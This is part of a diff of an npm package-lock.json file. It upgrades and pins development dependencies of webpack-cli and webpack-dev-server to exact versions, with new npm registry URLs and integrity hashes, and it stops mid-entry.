"https://registry.npmjs.org/tapable/-/tapable-1.1.0.tgz", - "integrity": "sha512-IlqtmLVaZA2qab8epUXbVWRn3aB1imbDMJtjB3nu4X0NqPkcY/JH9ZtCBWKHWPxs8Svi9tyo8w2dBoi07qZbBA==", + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-1.1.3.tgz", + "integrity": "sha512-4WK/bYZmj8xLr+HUCODHGF1ZFzsYffasLUgEiMBY4fgtltdO6B4WJtlSbPaDTLpYTcGVwM2qLnFTICEcNxs3kA==", "dev": true } } }, "webpack-cli": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/webpack-cli/-/webpack-cli-3.1.2.tgz", - "integrity": "sha512-Cnqo7CeqeSvC6PTdts+dywNi5CRlIPbLx1AoUPK2T6vC1YAugMG3IOoO9DmEscd+Dghw7uRlnzV1KwOe5IrtgQ==", + "version": "3.3.10", + "resolved": "https://registry.npmjs.org/webpack-cli/-/webpack-cli-3.3.10.tgz", + "integrity": "sha512-u1dgND9+MXaEt74sJR4PR7qkPxXUSQ0RXYq8x1L6Jg1MYVEmGPrH6Ah6C4arD4r0J1P5HKjRqpab36k0eIzPqg==", "dev": true, "requires": { - "chalk": "^2.4.1", - "cross-spawn": "^6.0.5", - "enhanced-resolve": "^4.1.0", - "global-modules-path": "^2.3.0", - "import-local": "^2.0.0", - "interpret": "^1.1.0", - "loader-utils": "^1.1.0", - "supports-color": "^5.5.0", - "v8-compile-cache": "^2.0.2", - "yargs": "^12.0.2" + "chalk": "2.4.2", + "cross-spawn": "6.0.5", + "enhanced-resolve": "4.1.0", + "findup-sync": "3.0.0", + "global-modules": "2.0.0", + "import-local": "2.0.0", + "interpret": "1.2.0", + "loader-utils": "1.2.3", + "supports-color": "6.1.0", + "v8-compile-cache": "2.0.3", + "yargs": "13.2.4" }, "dependencies": { "ansi-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", - "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz", + "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==", "dev": true }, "ansi-styles": { @@ -18622,72 +20410,57 @@ "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dev": true, "requires": { - "color-convert": "^1.9.0" + "color-convert": "1.9.0" } }, - "camelcase": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-4.1.0.tgz", - "integrity": "sha1-1UVjW+HjPFQmScaRc+Xeas+uNN0=", + "big.js": { + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz", + "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==", "dev": true }, "chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", "dev": true, "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" + "ansi-styles": "3.2.1", + "escape-string-regexp": "1.0.5", + "supports-color": "5.5.0" + }, + "dependencies": { + "supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dev": true, + "requires": { + "has-flag": "3.0.0" + } + } } }, "cliui": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-5.0.0.tgz", + "integrity": "sha512-PYeGSEmmHM6zvoef2w8TPzlrnNpXIjTipYK780YswmIP9vjxmd6Y2a3CB2Ks6/AU8NHjZugXvo8w3oWM2qnwXA==", + "dev": true, + "requires": { + "string-width": "3.1.0", + "strip-ansi": "5.2.0", + "wrap-ansi": "5.1.0" + } + }, + "enhanced-resolve": { "version": "4.1.0", - "resolved": "https://registry.npmjs.org/cliui/-/cliui-4.1.0.tgz", - "integrity": "sha512-4FG+RSG9DL7uEwRUZXZn3SS34DiDPfzP0VOiEwtUWlE+AR2EIg+hSyvrIgUUfhdgR/UkAeW2QHgeP+hWrXs7jQ==", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-4.1.0.tgz", + "integrity": "sha512-F/7vkyTtyc/llOIn8oWclcB25KdRaiPBpZYDgJHgh/UHtpgT2p2eldQgtQnLtUvfMKPKxbRaQM/hHkvLHt1Vng==", "dev": true, "requires": { - "string-width": "^2.1.1", - "strip-ansi": "^4.0.0", - "wrap-ansi": "^2.0.0" - } - }, - "cross-spawn": { - "version": "6.0.5", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", - "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", - "dev": true, - "requires": { - "nice-try": "^1.0.4", - "path-key": "^2.0.1", - "semver": "^5.5.0", - "shebang-command": "^1.2.0", - "which": "^1.2.9" - } - }, - "decamelize": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-2.0.0.tgz", - "integrity": "sha512-Ikpp5scV3MSYxY39ymh45ZLEecsTdv/Xj2CaQfI8RLMuwi7XvjX9H/fhraiSuU+C5w5NTDu4ZU72xNiZnurBPg==", - "dev": true, - "requires": { - "xregexp": "4.0.0" - } - }, - "execa": { - "version": "0.10.0", - "resolved": "https://registry.npmjs.org/execa/-/execa-0.10.0.tgz", - "integrity": "sha512-7XOMnz8Ynx1gGo/3hyV9loYNPWM94jG3+3T3Y8tsfSstFmETmENCMU/A/zj8Lyaj1lkgEepKepvd6240tBRvlw==", - "dev": true, - "requires": { - "cross-spawn": "^6.0.0", - "get-stream": "^3.0.0", - "is-stream": "^1.1.0", - "npm-run-path": "^2.0.0", - "p-finally": "^1.0.0", - "signal-exit": "^3.0.0", - "strip-eof": "^1.0.0" + "graceful-fs": "4.1.11", + "memory-fs": "0.4.1", + "tapable": "1.0.0" } }, "find-up": { @@ -18696,39 +20469,39 @@ "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", "dev": true, "requires": { - "locate-path": "^3.0.0" + "locate-path": "3.0.0" } }, + "get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "dev": true + }, "has-flag": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", "dev": true }, - "invert-kv": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/invert-kv/-/invert-kv-2.0.0.tgz", - "integrity": "sha512-wPVv/y/QQ/Uiirj/vh3oP+1Ww+AWehmi1g5fFWGPF6IpCBCDVrhgHRMvrLfdYcwDh3QJbGXDW4JAuzxElLSqKA==", - "dev": true - }, - "lcid": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/lcid/-/lcid-2.0.0.tgz", - "integrity": "sha512-avPEb8P8EGnwXKClwsNUgryVjllcRqtMYa49NTsbQagYuT1DcXnl1915oxWjoyGrXR6zH/Y0Zc96xWsPcoDKeA==", + "json5": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz", + "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==", "dev": true, "requires": { - "invert-kv": "^2.0.0" + "minimist": "1.2.0" } }, "loader-utils": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.1.0.tgz", - "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.2.3.tgz", + "integrity": "sha512-fkpz8ejdnEMG3s37wGL07iSBDg99O9D5yflE9RGNH3hRdx9SOwYfnGYdZOUIZitN8E+E2vkq3MUMYMvPYl5ZZA==", "dev": true, "requires": { - "big.js": "^3.1.3", - "emojis-list": "^2.0.0", - "json5": "^0.5.0" + "big.js": "5.2.2", + "emojis-list": "2.1.0", + "json5": "1.0.1" } }, "locate-path": { @@ -18737,39 +20510,17 @@ "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", "dev": true, "requires": { - "p-locate": "^3.0.0", - "path-exists": "^3.0.0" - } - }, - "mem": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/mem/-/mem-4.0.0.tgz", - "integrity": "sha512-WQxG/5xYc3tMbYLXoXPm81ET2WDULiU5FxbuIoNbJqLOOI8zehXFdZuiUEgfdrU2mVB1pxBZUGlYORSrpuJreA==", - "dev": true, - "requires": { - "map-age-cleaner": "^0.1.1", - "mimic-fn": "^1.0.0", - "p-is-promise": "^1.1.0" - } - }, - "os-locale": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-3.0.1.tgz", - "integrity": "sha512-7g5e7dmXPtzcP4bgsZ8ixDVqA7oWYuEz4lOSujeWyliPai4gfVDiFIcwBg3aGCPnmSGfzOKTK3ccPn0CKv3DBw==", - "dev": true, - "requires": { - "execa": "^0.10.0", - "lcid": "^2.0.0", - "mem": "^4.0.0" + "p-locate": "3.0.0", + "path-exists": "3.0.0" } }, "p-limit": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.0.0.tgz", - "integrity": "sha512-fl5s52lI5ahKCernzzIyAP0QAZbGIovtVHGwpcu1Jr/EpzLVDI2myISHwGqK7m8uQFugVWSrbxH7XnhGtvEc+A==", + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.2.1.tgz", + "integrity": "sha512-85Tk+90UCVWvbDavCLKPOLC9vvY8OwEX/RtKF+/1OADJMVlFfEHOiMTPVyxg7mk/dKa+ipdHm0OUkTvCpMTuwg==", "dev": true, "requires": { - "p-try": "^2.0.0" + "p-try": "2.2.0" } }, "p-locate": { @@ -18778,13 +20529,13 @@ "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", "dev": true, "requires": { - "p-limit": "^2.0.0" + "p-limit": "2.2.1" } }, "p-try": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.0.0.tgz", - "integrity": "sha512-hMp0onDKIajHfIkdRk3P4CdCmErkYAxxDtP3Wx/4nZ3aGlau2VKh3mZpcuFkH27WQkL/3WBCPOktzA9ZOAnMQQ==", + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", "dev": true }, "path-exists": { @@ -18793,57 +20544,75 @@ "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=", "dev": true }, - "semver": { - "version": "5.5.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.5.1.tgz", - "integrity": "sha512-PqpAxfrEhlSUWge8dwIp4tZnQ25DIOthpiaHNIthsjEFQD6EvqUKUDM7L8O2rShkFccYo1VjJR0coWfNkCubRw==", + "require-main-filename": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-2.0.0.tgz", + "integrity": "sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==", "dev": true }, - "strip-ansi": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", - "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", + "string-width": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz", + "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==", "dev": true, "requires": { - "ansi-regex": "^3.0.0" + "emoji-regex": "7.0.3", + "is-fullwidth-code-point": "2.0.0", + "strip-ansi": "5.2.0" + } + }, + "strip-ansi": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", + "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", + "dev": true, + "requires": { + "ansi-regex": "4.1.0" } }, "supports-color": { - "version": "5.5.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", - "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-6.1.0.tgz", + "integrity": "sha512-qe1jfm1Mg7Nq/NSh6XE24gPXROEVsWHxC1LIx//XNlD9iw7YZQGjZNjYN7xGaEG6iKdA8EtNFW6R0gjnVXp+wQ==", "dev": true, "requires": { - "has-flag": "^3.0.0" + "has-flag": "3.0.0" } }, + "wrap-ansi": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-5.1.0.tgz", + "integrity": "sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q==", + "dev": true, + "requires": { + "ansi-styles": "3.2.1", + "string-width": "3.1.0", + "strip-ansi": "5.2.0" + } + }, + "y18n": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.0.tgz", + "integrity": "sha512-r9S/ZyXu/Xu9q1tYlpsLIsa3EeLXXk0VwlxqTcFRfg9EhMW+17kbt9G0NrgCmhGb5vT2hyhJZLfDGx+7+5Uj/w==", + "dev": true + }, "yargs": { - "version": "12.0.2", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-12.0.2.tgz", - "integrity": "sha512-e7SkEx6N6SIZ5c5H22RTZae61qtn3PYUE8JYbBFlK9sYmh3DMQ6E5ygtaG/2BW0JZi4WGgTR2IV5ChqlqrDGVQ==", + "version": "13.2.4", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-13.2.4.tgz", + "integrity": "sha512-HG/DWAJa1PAnHT9JAhNa8AbAv3FPaiLzioSjCcmuXXhP8MlpHO5vwls4g4j6n30Z74GVQj8Xa62dWVx1QCGklg==", "dev": true, "requires": { - "cliui": "^4.0.0", - "decamelize": "^2.0.0", - "find-up": "^3.0.0", - "get-caller-file": "^1.0.1", - "os-locale": "^3.0.0", - "require-directory": "^2.1.1", - "require-main-filename": "^1.0.1", - "set-blocking": "^2.0.0", - "string-width": "^2.0.0", - "which-module": "^2.0.0", - "y18n": "^3.2.1 || ^4.0.0", - "yargs-parser": "^10.1.0" - } - }, - "yargs-parser": { - "version": "10.1.0", - "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-10.1.0.tgz", - "integrity": "sha512-VCIyR1wJoEBZUqk5PA+oOBF6ypbwh5aNB3I50guxAL/quggdfs4TtNHQrSazFA3fYZ+tEqfs0zIGlv0c/rgjbQ==", - "dev": true, - "requires": { - "camelcase": "^4.1.0" + "cliui": "5.0.0", + "find-up": "3.0.0", + "get-caller-file": "2.0.5", + "os-locale": "3.1.0", + "require-directory": "2.1.1", + "require-main-filename": "2.0.0", + "set-blocking": "2.0.0", + "string-width": "3.1.0", + "which-module": "2.0.0", + "y18n": "4.0.0", + "yargs-parser": "13.1.1" } } } @@ -18854,49 +20623,54 @@ "integrity": "sha512-tj5LLD9r4tDuRIDa5Mu9lnY2qBBehAITv6A9irqXhw/HQquZgTx3BCd57zYbU2gMDnncA49ufK2qVQSbaKJwOw==", "dev": true, "requires": { - "loud-rejection": "^1.6.0", - "memory-fs": "~0.4.1", - "mime": "^2.1.0", - "path-is-absolute": "^1.0.0", - "range-parser": "^1.0.3", - "url-join": "^2.0.2", - "webpack-log": "^1.0.1" + "loud-rejection": "1.6.0", + "memory-fs": "0.4.1", + "mime": "2.3.1", + "path-is-absolute": "1.0.1", + "range-parser": "1.2.0", + "url-join": "2.0.5", + "webpack-log": "1.2.0" } }, "webpack-dev-server": { - "version": "3.1.9", - "resolved": "https://registry.npmjs.org/webpack-dev-server/-/webpack-dev-server-3.1.9.tgz", - "integrity": "sha512-fqPkuNalLuc/hRC2QMkVYJkgNmRvxZQo7ykA2e1XRg/tMJm3qY7ZaD6d89/Fqjxtj9bOrn5wZzLD2n84lJdvWg==", + "version": "3.9.0", + "resolved": "https://registry.npmjs.org/webpack-dev-server/-/webpack-dev-server-3.9.0.tgz", + "integrity": "sha512-E6uQ4kRrTX9URN9s/lIbqTAztwEPdvzVrcmHE8EQ9YnuT9J8Es5Wrd8n9BKg1a0oZ5EgEke/EQFgUsp18dSTBw==", "dev": true, "requires": { "ansi-html": "0.0.7", - "bonjour": "^3.5.0", - "chokidar": "^2.0.0", - "compression": "^1.5.2", - "connect-history-api-fallback": "^1.3.0", - "debug": "^3.1.0", - "del": "^3.0.0", - "express": "^4.16.2", - "html-entities": "^1.2.0", - "http-proxy-middleware": "~0.18.0", - "import-local": "^2.0.0", - "internal-ip": "^3.0.1", - "ip": "^1.1.5", - "killable": "^1.0.0", - "loglevel": "^1.4.1", - "opn": "^5.1.0", - "portfinder": "^1.0.9", - "schema-utils": "^1.0.0", - "selfsigned": "^1.9.1", - "serve-index": "^1.7.2", + "bonjour": "3.5.0", + "chokidar": "2.1.8", + "compression": "1.7.4", + "connect-history-api-fallback": "1.6.0", + "debug": "4.1.1", + "del": "4.1.1", + "express": "4.17.1", + "html-entities": "1.2.1", + "http-proxy-middleware": "0.19.1", + "import-local": "2.0.0", + "internal-ip": "4.3.0", + "ip": "1.1.5", + "is-absolute-url": "3.0.3", + "killable": "1.0.1", + "loglevel": "1.6.6", + "opn": "5.5.0", + "p-retry": "3.0.1", + "portfinder": "1.0.25", + "schema-utils": "1.0.0", + "selfsigned": "1.10.7", + "semver": "6.3.0", + "serve-index": "1.9.1", "sockjs": "0.3.19", - "sockjs-client": "1.1.5", - "spdy": "^3.4.1", - "strip-ansi": "^3.0.0", - "supports-color": "^5.1.0", - "webpack-dev-middleware": "3.4.0", - "webpack-log": "^2.0.0", - "yargs": "12.0.2" + "sockjs-client": "1.4.0", + "spdy": "4.0.1", + "strip-ansi": "3.0.1", + "supports-color": "6.1.0", + "url": "0.11.0", + "webpack-dev-middleware": "3.7.2", + "webpack-log": "2.0.0", + "ws": "6.2.1", + "yargs": "12.0.5" }, "dependencies": { "ansi-regex": { @@ -18911,8 +20685,19 @@ "integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==", "dev": true, "requires": { - "micromatch": "^3.1.4", - "normalize-path": "^2.1.1" + "micromatch": "3.1.10", + "normalize-path": "2.1.1" + }, + "dependencies": { + "normalize-path": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz", + "integrity": "sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=", + "dev": true, + "requires": { + "remove-trailing-separator": "1.0.2" + } + } } }, "arr-diff": { @@ -18933,16 +20718,16 @@ "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", "dev": true, "requires": { - "arr-flatten": "^1.1.0", - "array-unique": "^0.3.2", - "extend-shallow": "^2.0.1", - "fill-range": "^4.0.0", - "isobject": "^3.0.1", - "repeat-element": "^1.1.2", - "snapdragon": "^0.8.1", - "snapdragon-node": "^2.0.1", - "split-string": "^3.0.2", - "to-regex": "^3.0.1" + "arr-flatten": "1.1.0", + "array-unique": "0.3.2", + "extend-shallow": "2.0.1", + "fill-range": "4.0.0", + "isobject": "3.0.1", + "repeat-element": "1.1.2", + "snapdragon": "0.8.2", + "snapdragon-node": "2.1.1", + "split-string": "3.1.0", + "to-regex": "3.0.2" }, "dependencies": { "extend-shallow": { @@ -18951,36 +20736,35 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } }, "camelcase": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-4.1.0.tgz", - "integrity": "sha1-1UVjW+HjPFQmScaRc+Xeas+uNN0=", + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", "dev": true }, "chokidar": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.0.4.tgz", - "integrity": "sha512-z9n7yt9rOvIJrMhvDtDictKrkFHeihkNl6uWMmZlmL6tJtX9Cs+87oK+teBx+JIgzvbX3yZHT3eF8vpbDxHJXQ==", + "version": "2.1.8", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.1.8.tgz", + "integrity": "sha512-ZmZUazfOzf0Nve7duiCKD23PFSCs4JPoYyccjUFF3aQkQadqBhfzhjkwBH2mNOG9cTBwhamM37EIsIkZw3nRgg==", "dev": true, "requires": { - "anymatch": "^2.0.0", - "async-each": "^1.0.0", - "braces": "^2.3.0", - "fsevents": "^1.2.2", - "glob-parent": "^3.1.0", - "inherits": "^2.0.1", - "is-binary-path": "^1.0.0", - "is-glob": "^4.0.0", - "lodash.debounce": "^4.0.8", - "normalize-path": "^2.1.1", - "path-is-absolute": "^1.0.0", - "readdirp": "^2.0.0", - "upath": "^1.0.5" + "anymatch": "2.0.0", + "async-each": "1.0.1", + "braces": "2.3.2", + "fsevents": "1.2.9", + "glob-parent": "3.1.0", + "inherits": "2.0.3", + "is-binary-path": "1.0.1", + "is-glob": "4.0.1", + "normalize-path": "3.0.0", + "path-is-absolute": "1.0.1", + "readdirp": "2.2.1", + "upath": "1.2.0" } }, "cliui": { @@ -18989,9 +20773,9 @@ "integrity": "sha512-4FG+RSG9DL7uEwRUZXZn3SS34DiDPfzP0VOiEwtUWlE+AR2EIg+hSyvrIgUUfhdgR/UkAeW2QHgeP+hWrXs7jQ==", "dev": true, "requires": { - "string-width": "^2.1.1", - "strip-ansi": "^4.0.0", - "wrap-ansi": "^2.0.0" + "string-width": "2.1.1", + "strip-ansi": "4.0.0", + "wrap-ansi": "2.1.0" }, "dependencies": { "strip-ansi": { @@ -19000,92 +20784,41 @@ "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", "dev": true, "requires": { - "ansi-regex": "^3.0.0" + "ansi-regex": "3.0.0" } } } }, - "cross-spawn": { - "version": "6.0.5", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", - "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", - "dev": true, - "requires": { - "nice-try": "^1.0.4", - "path-key": "^2.0.1", - "semver": "^5.5.0", - "shebang-command": "^1.2.0", - "which": "^1.2.9" - } - }, "debug": { - "version": "3.2.6", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz", - "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==", + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", + "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", "dev": true, "requires": { - "ms": "^2.1.1" + "ms": "2.1.2" }, "dependencies": { "ms": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz", - "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==", + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", "dev": true } } }, - "decamelize": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-2.0.0.tgz", - "integrity": "sha512-Ikpp5scV3MSYxY39ymh45ZLEecsTdv/Xj2CaQfI8RLMuwi7XvjX9H/fhraiSuU+C5w5NTDu4ZU72xNiZnurBPg==", - "dev": true, - "requires": { - "xregexp": "4.0.0" - } - }, - "del": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/del/-/del-3.0.0.tgz", - "integrity": "sha1-U+z2mf/LyzljdpGrE7rxYIGXZuU=", - "dev": true, - "requires": { - "globby": "^6.1.0", - "is-path-cwd": "^1.0.0", - "is-path-in-cwd": "^1.0.0", - "p-map": "^1.1.1", - "pify": "^3.0.0", - "rimraf": "^2.2.8" - } - }, - "execa": { - "version": "0.10.0", - "resolved": "https://registry.npmjs.org/execa/-/execa-0.10.0.tgz", - "integrity": "sha512-7XOMnz8Ynx1gGo/3hyV9loYNPWM94jG3+3T3Y8tsfSstFmETmENCMU/A/zj8Lyaj1lkgEepKepvd6240tBRvlw==", - "dev": true, - "requires": { - "cross-spawn": "^6.0.0", - "get-stream": "^3.0.0", - "is-stream": "^1.1.0", - "npm-run-path": "^2.0.0", - "p-finally": "^1.0.0", - "signal-exit": "^3.0.0", - "strip-eof": "^1.0.0" - } - }, "expand-brackets": { "version": "2.1.4", "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz", "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", "dev": true, "requires": { - "debug": "^2.3.3", - "define-property": "^0.2.5", - "extend-shallow": "^2.0.1", - "posix-character-classes": "^0.1.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" + "debug": "2.6.9", + "define-property": "0.2.5", + "extend-shallow": "2.0.1", + "posix-character-classes": "0.1.1", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" }, "dependencies": { "debug": { @@ -19103,7 +20836,7 @@ "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", "dev": true, "requires": { - "is-descriptor": "^0.1.0" + "is-descriptor": "0.1.6" } }, "extend-shallow": { @@ -19112,7 +20845,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } }, "is-accessor-descriptor": { @@ -19121,7 +20854,7 @@ "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -19130,7 +20863,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -19141,7 +20874,7 @@ "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -19150,7 +20883,7 @@ "integrity": 